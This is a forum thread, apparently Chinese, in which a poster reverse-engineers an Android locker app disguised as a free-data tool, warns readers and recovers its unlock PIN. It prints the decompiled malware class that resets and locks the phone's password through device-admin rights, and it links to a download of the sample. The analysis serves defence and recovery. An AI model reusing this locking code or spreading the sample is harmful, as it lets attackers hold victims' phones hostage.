辅助岛

 找回密码
 点我注册
查看: 1.7K|回复: 3

[软件分享] 对锁机app【云免破解版】的逆向分析

 关闭 [复制链接]
       
楼主 发表于 2017-11-4 17:58:56 | 显示全部楼层 |阅读模式
应管理建议先上锁机图,还有声音,非常可恶。
  
大家不要轻信什么免流刷赞之类的东西,软件打开都会申请权限,一定要看清楚再选择.好了,我们打开软件看到,选择拒绝三次之后进入软件界面,注册登录发现啥都没有。允许的小伙伴已经被锁机了。

  

我们打开程序首先就是问我们要权限,发现在e.smile里面,

  

给了su权限就把data.txt放进系统里面,我们猜想这个data.txt就是真正的锁机成序。
压缩软件打开看一下,果然是锁机程序

  

接下来重命名data.apk反编译分析一下代码.在入口看到

  

看一下myadmin.class的代码
[Asm] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.cjk;

import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class MyAdmin
  extends DeviceAdminReceiver
{
  String QQ群号571012706 = "ATMyMDN1YzN4kjealXW4h1dXZnV1VFdUN3UyJVcRBHUv9kbO1WTsx0aLpmSplEaId2RmZUZFRGRjNkYCFWQ";
  String pin = DU.getsss(this.QQ群号571012706);
  String 三生石畔 = new StringBuffer().append(new StringBuffer().append(this.彼).append(this.岸).toString()).append(this.花).toString() + this.开;
  String 岸 = (String)this.pin.subSequence(1, 2);
  String 开 = (String)this.pin.subSequence(21, 22);
  String 彼 = (String)this.pin.subSequence(2, 3);
  String 花 = (String)this.pin.subSequence(14, 15);
   
  @Override
  public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(this.三生石畔, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }
   
  @Override
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    try
    {
      Object localObject = Class.forName("com.cjk.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(this.三生石畔, 0);
      super.onEnabled(paramContext, paramIntent);
      return;
    }
    catch (ClassNotFoundException paramContext)
    {
      throw new NoClassDefFoundError(paramContext.getMessage());
    }
  }
   
  @Override
  public void onPasswordChanged(Context paramContext, Intent paramIntent)
  {
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(this.三生石畔, 0);
    super.onPasswordChanged(paramContext, paramIntent);
  }
   
  @Override
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Log.i("------", "onReceive-----");
    super.onReceive(paramContext, paramIntent);
  }
}


重置的密码也就是三生石畔的值。

  

所以我们只要得到三生石畔的赋值就好了,我们到java中打印一下

  

  

这就得到了锁机密码。他这里调用了一个DU.getsss的函数,this.三生石畔 = stringBuffer.append(stringBuffer2.append(stringBuffer3.append(this.彼).append(this.岸).toString()).append(this.花).toString()).append(this.开).toString();锁机模拟器上再装一下data.apk就会显示输入pin界面,实测手机重启就可以了。
作者有点小狡猾,我们重启输入BaHk,就顺利开机了,卸载掉锁机就可以了
附上源程序链接:http://pan.baidu.com/s/1i5bOXYd 密码:haiw

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】

如何回报帮助你解决问题的吧友,一个好办法就是给对方加【好评】【仙豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

       
发表于 2017-11-6 17:49:42 | 显示全部楼层
emmmm,你发个mt管理器行不?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】

如何回报帮助你解决问题的吧友,一个好办法就是给对方加【好评】【仙豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

       
发表于 2017-11-6 17:50:39 | 显示全部楼层
啥也不说了,感谢楼主分享哇!

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】

如何回报帮助你解决问题的吧友,一个好办法就是给对方加【好评】【仙豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

       

已抛锚 成长值: 62838

发表于 2020-3-18 23:12:37 | 显示全部楼层
遇见神贴岂能不顶好贴收藏

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】

如何回报帮助你解决问题的吧友,一个好办法就是给对方加【好评】【仙豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 点我注册

本版积分规则

快速回复 收藏帖子 返回列表 搜索

Quick BI||论坛app|Archiver|手机版|小黑屋|辅助岛 |网站地图

GMT+8, 2024-12-22 18:06 , Processed in 0.169454 second(s), 88 queries , Gzip On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2024 Tencent Cloud.

快速回复 返回顶部 返回列表